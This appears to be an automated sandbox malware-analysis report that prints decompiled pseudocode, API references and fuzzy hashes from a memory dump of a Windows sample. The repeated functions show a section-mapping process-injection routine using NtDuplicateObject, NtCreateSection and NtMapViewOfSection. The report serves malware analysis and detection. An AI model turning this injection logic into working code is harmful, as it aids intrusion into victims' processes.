								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t126 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t98 = _t202 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						_t99 = NtCreateSection(_t188, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L63;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t205;
				_push(0x83);
				L004011F5(_t176, _t231);
				return _t90;
			}

0x00401577
0x00401578
0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.290105306.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_aw9Ynwqd1x.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 083574d86fbacfeeee5c63ee9eae41342103da8b89c03bac49e39559cf037064
Instruction ID: ba3189e89dbc592d8eefb072767128172b6b3105eb2a85c49d1307986ab5c8dd
Opcode Fuzzy Hash: 083574d86fbacfeeee5c63ee9eae41342103da8b89c03bac49e39559cf037064
Instruction Fuzzy Hash: 9D511B71900249BFEB209F91CC48FAF7BB8FF85B14F10412AFA11BA1E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401523 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00401523(void* __eax, void* __esi, void* __eflags) {
				long _t89;
				long _t92;
				intOrPtr _t93;
				struct _GUID _t99;
				long _t100;
				struct _GUID _t101;
				long _t102;
				PVOID* _t123;
				long _t124;
				PVOID* _t125;
				long _t126;
				intOrPtr _t129;
				long* _t134;
				void* _t176;
				struct _EXCEPTION_RECORD _t177;
				struct _EXCEPTION_RECORD* _t187;
				intOrPtr* _t189;
				HANDLE* _t190;
				HANDLE* _t191;
				void* _t204;
				void* _t205;
				intOrPtr* _t207;

				asm("outsd");
				asm("out 0x70, al");
				if(__eflags > 0) {
					L004011F5(_t176, __eflags);
					_t129 =  *((intOrPtr*)(_t205 + 8));
					_t177 = 0;
					 *(_t205 - 0x34) = 0;
					__eflags = gs;
					if(gs != 0) {
						_t4 = _t205 - 0x34;
						 *_t4 =  *(_t205 - 0x34) + 1;
						__eflags =  *_t4;
					}
					while(1) {
						_t89 =  *((intOrPtr*)(_t129 + 0x48))();
						__eflags = _t89;
						if(_t89 != 0) {
							break;
						}
						 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
					}
					 *(_t205 - 0x5c) = _t89;
					_t187 = _t205 - 0x60;
					 *_t187 = _t177;
					 *((intOrPtr*)(_t129 + 0x4c))(_t89, _t187);
					_t92 =  *_t187;
					__eflags = _t92;
					if(__eflags != 0) {
						_t134 = _t205 - 0x30;
						 *_t134 = _t92;
						_t134[1] = _t177;
						_t189 = _t205 - 0x28;
						 *((intOrPtr*)(_t129 + 0x10))(_t189, 0x18);
						 *_t189 = 0x18;
						__eflags =  *((intOrPtr*)(_t129 + 0x70))(_t205 - 0x10, 0x40, _t189, _t205 - 0x30);
						if(__eflags == 0) {
							__eflags = NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, _t177, _t177, 2);
							if(__eflags == 0) {
								 *(_t205 - 8) = _t177;
								_t99 = _t205 - 0x50;
								 *(_t99 + 4) = _t177;
								 *_t99 = 0x5000;
								_t190 = _t205 - 0x54;
								_t100 = NtCreateSection(_t190, 6, _t177, _t99, 4, 0x8000000, _t177);
								__eflags = _t100;
								if(_t100 == 0) {
									 *_t26 =  *(_t205 - 0x50);
									_t123 = _t205 - 0x44;
									 *_t123 = _t177;
									_t124 = NtMapViewOfSection( *_t190, 0xffffffff, _t123, _t177, _t177, _t177, _t205 - 0x38, 1, _t177, 4);
									__eflags = _t124;
									if(_t124 == 0) {
										_t125 = _t205 - 0x3c;
										 *_t125 = _t177;
										_t126 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t125, _t177, _t177, _t177, _t205 - 0x38, 1, _t177, 4);
										__eflags = _t126;
										if(_t126 == 0) {
											_t204 =  *(_t205 - 0x44);
											 *((intOrPtr*)(_t129 + 0x20))(_t177, _t204, 0x104);
											 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
											_t38 = _t205 - 8;
											 *_t38 =  *(_t205 - 8) + 1;
											__eflags =  *_t38;
										}
									}
								}
								_t101 = _t205 - 0x50;
								 *(_t101 + 4) = _t177;
								 *_t101 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
								_t191 = _t205 - 0x58;
								_t102 = NtCreateSection(_t191, 0xe, _t177, _t101, 0x40, 0x8000000, _t177);
								__eflags = _t102;
								if (_t102 != 0) goto L60;
								 *_t102 =  *_t102 + _t102;
								__eflags =  *_t102;
							}
						}
					}
					_push(0x15a4);
					_t93 =  *_t207;
					_push(0x83);
					L004011F5(_t177, __eflags);
					return _t93;
				} else {
					asm("popfd");
					asm("repe add al, 0x9b");
					asm("wait");
					asm("wait");
					return __esi;
				}
			}

0x00401523
0x00401524
0x00401527
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015af
0x004015b2
0x004015b4
0x004015b4
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015ba
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d1
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x00401600
0x00401602
0x0040161d
0x0040161f
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401644
0x00401647
0x00401649
0x0040164e
0x00401651
0x00401654
0x00401667
0x0040166a
0x0040166c
0x0040166e
0x00401671
0x00401685
0x00401688
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016c9
0x004016cb
0x004016cf
0x004016cf
0x004016cf
0x0040161f
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f
0x00401529
0x00401529
0x0040152a
0x0040152d
0x0040152e
0x0040152f
0x0040152f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685

Memory Dump Source

Source File: 00000000.00000002.290105306.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_aw9Ynwqd1x.jbxd

Similarity

API ID: Section$View$CreateDuplicateObject
String ID:
API String ID: 3617974760-0
Opcode ID: f2a4be680cfb18686692e1608cce56726be6b364057ceed8b4cf4ca6dcfe5132
Instruction ID: c9dca56e4daa214b2bd9150ebf0f157daf6c833c296841cdcd3f7df5e4c146b1
Opcode Fuzzy Hash: f2a4be680cfb18686692e1608cce56726be6b364057ceed8b4cf4ca6dcfe5132
Instruction Fuzzy Hash: 91510A71900249BFEB209F92CC48F9FBBB8FF85B14F14411AFA11BA2A5D7749945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040158C Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040158C(void* __eax, void* __edi) {
				void* _t89;
				intOrPtr _t91;
				struct _EXCEPTION_RECORD _t94;
				intOrPtr _t95;
				struct _GUID _t101;
				struct _GUID _t103;
				long _t104;
				PVOID* _t125;
				PVOID* _t127;
				intOrPtr _t131;
				struct _EXCEPTION_RECORD* _t136;
				void* _t180;
				struct _EXCEPTION_RECORD _t181;
				struct _EXCEPTION_RECORD* _t189;
				intOrPtr* _t191;
				HANDLE* _t192;
				HANDLE* _t193;
				void* _t206;
				void* _t207;
				void* _t208;
				void* _t210;
				intOrPtr* _t211;
				intOrPtr _t216;

				_t211 = _t210 + 1;
				asm("clc");
				asm("stc");
				_t89 = _t207;
				_t208 = __eax;
				_t180 = __edi - 1;
				_t2 = _t89 - 0x7d;
				 *_t2 =  *((intOrPtr*)(_t89 - 0x7d));
				_t216 =  *_t2;
				_push(0x83);
				L004011F5(_t180, _t216);
				_t131 =  *((intOrPtr*)(__eax + 8));
				_t181 = 0;
				 *((intOrPtr*)(__eax - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(__eax - 0x34)) =  *((intOrPtr*)(__eax - 0x34)) + 1;
				}
				while(1) {
					_t91 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t91 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t208 - 0x5c)) = _t91;
				_t189 = _t208 - 0x60;
				 *_t189 = _t181;
				 *((intOrPtr*)(_t131 + 0x4c))(_t91, _t189);
				_t94 =  *_t189;
				if(_t94 != 0) {
					_t136 = _t208 - 0x30;
					 *_t136 = _t94;
					 *(_t136 + 4) = _t181;
					_t191 = _t208 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t191, 0x18);
					 *_t191 = 0x18;
					_push(_t208 - 0x30);
					_push(_t191);
					_push(0x40);
					_push(_t208 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t208 - 0x10), 0xffffffff, 0xffffffff, _t208 - 0xc, _t181, _t181, 2) == 0) {
						 *(_t208 - 8) = _t181;
						_t101 = _t208 - 0x50;
						 *(_t101 + 4) = _t181;
						 *_t101 = 0x5000;
						_t192 = _t208 - 0x54;
						if(NtCreateSection(_t192, 6, _t181, _t101, 4, 0x8000000, _t181) == 0) {
							 *_t28 =  *(_t208 - 0x50);
							_t125 = _t208 - 0x44;
							 *_t125 = _t181;
							if(NtMapViewOfSection( *_t192, 0xffffffff, _t125, _t181, _t181, _t181, _t208 - 0x38, 1, _t181, 4) == 0) {
								_t127 = _t208 - 0x3c;
								 *_t127 = _t181;
								if(NtMapViewOfSection( *_t192,  *(_t208 - 0xc), _t127, _t181, _t181, _t181, _t208 - 0x38, 1, _t181, 4) == 0) {
									_t206 =  *(_t208 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t181, _t206, 0x104);
									 *((intOrPtr*)(_t206 + 0x208)) =  *((intOrPtr*)(_t208 + 0x14));
									 *(_t208 - 8) =  *(_t208 - 8) + 1;
								}
							}
						}
						_t103 = _t208 - 0x50;
						 *(_t103 + 4) = _t181;
						 *_t103 =  *((intOrPtr*)(_t208 + 0x10)) + 0x10000;
						_t193 = _t208 - 0x58;
						_t104 = NtCreateSection(_t193, 0xe, _t181, _t103, 0x40, 0x8000000, _t181);
						if (_t104 != 0) goto L60;
						 *_t104 =  *_t104 + _t104;
					}
				}
				_push(0x15a4);
				_t95 =  *_t211;
				_push(0x83);
				L004011F5(_t181, _t237);
				return _t95;
			}

0x0040158c
0x0040158d
0x0040158e
0x0040158f
0x0040158f
0x00401590
0x00401591
0x00401591
0x00401591
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.290105306.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_aw9Ynwqd1x.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c7db028f8420b358ec692813db1bfb5c9bff11339c6e47bbd5ed771e3bdbe30c
Instruction ID: 02d2e3ac3767ea31e924919402f7a0ff100aaf9667a8aefd77e34752db93229b
Opcode Fuzzy Hash: c7db028f8420b358ec692813db1bfb5c9bff11339c6e47bbd5ed771e3bdbe30c
Instruction Fuzzy Hash: C9513AB1900249BFEB209F92CC48F9FBBB8FF85B14F10415AFA11AA1E5D7749944CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00401585 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00401585() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t126;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t185;
				intOrPtr* _t187;
				HANDLE* _t188;
				HANDLE* _t189;
				void* _t202;
				void* _t203;
				void* _t205;
				intOrPtr* _t206;
				void* _t211;

				_push(0x387);
				_t206 = _t205 + 4;
				_push(0x83);
				L004011F5(_t175, _t211);
				_t126 =  *((intOrPtr*)(_t203 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t203 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t203 - 0x34)) =  *((intOrPtr*)(_t203 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t126 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t126 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t203 - 0x5c)) = _t86;
				_t185 = _t203 - 0x60;
				 *_t185 = _t176;
				 *((intOrPtr*)(_t126 + 0x4c))(_t86, _t185);
				_t89 =  *_t185;
				if(_t89 != 0) {
					_t132 = _t203 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t187 = _t203 - 0x28;
					 *((intOrPtr*)(_t126 + 0x10))(_t187, 0x18);
					 *_t187 = 0x18;
					_push(_t203 - 0x30);
					_push(_t187);
					_push(0x40);
					_push(_t203 - 0x10);
					if( *((intOrPtr*)(_t126 + 0x70))() == 0 && NtDuplicateObject( *(_t203 - 0x10), 0xffffffff, 0xffffffff, _t203 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t203 - 8) = _t176;
						_t96 = _t203 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t188 = _t203 - 0x54;
						if(NtCreateSection(_t188, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t203 - 0x50);
							_t120 = _t203 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t188, 0xffffffff, _t120, _t176, _t176, _t176, _t203 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t203 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t188,  *(_t203 - 0xc), _t122, _t176, _t176, _t176, _t203 - 0x38, 1, _t176, 4) == 0) {
									_t202 =  *(_t203 - 0x44);
									 *((intOrPtr*)(_t126 + 0x20))(_t176, _t202, 0x104);
									 *((intOrPtr*)(_t202 + 0x208)) =  *((intOrPtr*)(_t203 + 0x14));
									 *(_t203 - 8) =  *(_t203 - 8) + 1;
								}
							}
						}
						_t98 = _t203 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t203 + 0x10)) + 0x10000;
						_t189 = _t203 - 0x58;
						_t99 = NtCreateSection(_t189, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L64;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t206;
				_push(0x83);
				L004011F5(_t176, _t232);
				return _t90;
			}

0x00401578
0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.290105306.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_aw9Ynwqd1x.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 23d6bc309405edc7f8da1be2c541e8d9f5b1e81b56b2c35d9e42197813f8af09
Instruction ID: 9d9f292dd7e40d4d2d6115b75542e29ae97a3c703512c5fffb38717ec82669a3
Opcode Fuzzy Hash: 23d6bc309405edc7f8da1be2c541e8d9f5b1e81b56b2c35d9e42197813f8af09
Instruction Fuzzy Hash: 36511A75900249BFEB209F91CC48FAF7BB8FF85B14F10416AFA11BA1A5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040159A Relevance: 10.7, APIs: 7, Instructions: 160
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E0040159A() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t127;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				intOrPtr* _t204;
				void* _t209;

				_push(0x83);
				L004011F5(_t175, _t209);
				_t127 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t86;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t127 + 0x4c))(_t86, _t184);
				_t89 =  *_t184;
				if(_t89 != 0) {
					_t132 = _t202 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t127 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t96 = _t202 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t120 = _t202 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t120, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t202 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t127 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t98 = _t202 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						_t99 = NtCreateSection(_t188, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L61;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t204;
				_push(0x83);
				L004011F5(_t176, _t230);
				return _t90;
			}

0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.290105306.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_aw9Ynwqd1x.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 4dff7dc5d51454a43d874152b5abf798c4daef4429b50565c24c7d2891ff9f85
Instruction ID: 1cd82c906aaffff485458f801d6ba595cb0416390f7e33d4f9d681d8d529f326
Opcode Fuzzy Hash: 4dff7dc5d51454a43d874152b5abf798c4daef4429b50565c24c7d2891ff9f85
Instruction Fuzzy Hash: BF510971900249BFEB209F92CC48F9FBBB8FF85B14F104159FA11AA2A5D6749940CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401749 Relevance: 3.0, APIs: 2, Instructions: 40
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.290105306.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_aw9Ynwqd1x.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 645c41685cf09351304fde75ab205f83a01d627caff4926b51e1c70b330bbf47
Instruction ID: 088a864a315bec2a81033f27f4cad91d314b4a72151043dcf738e9c9ac7e5ebb
Opcode Fuzzy Hash: 645c41685cf09351304fde75ab205f83a01d627caff4926b51e1c70b330bbf47
Instruction Fuzzy Hash: 0E011475500288FEEB219F92CC49FAF7FB9EF82B10F08016AF510B61E5E2714980CB20

Uniqueness

Uniqueness Score: -1.00%

Function 02BF003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02BF024D

Strings

cess, xrefs: 02BF018D
kernel32.dll, xrefs: 02BF008F, 02BF0095

Memory Dump Source

Source File: 00000000.00000002.290595055.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2bf0000_aw9Ynwqd1x.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
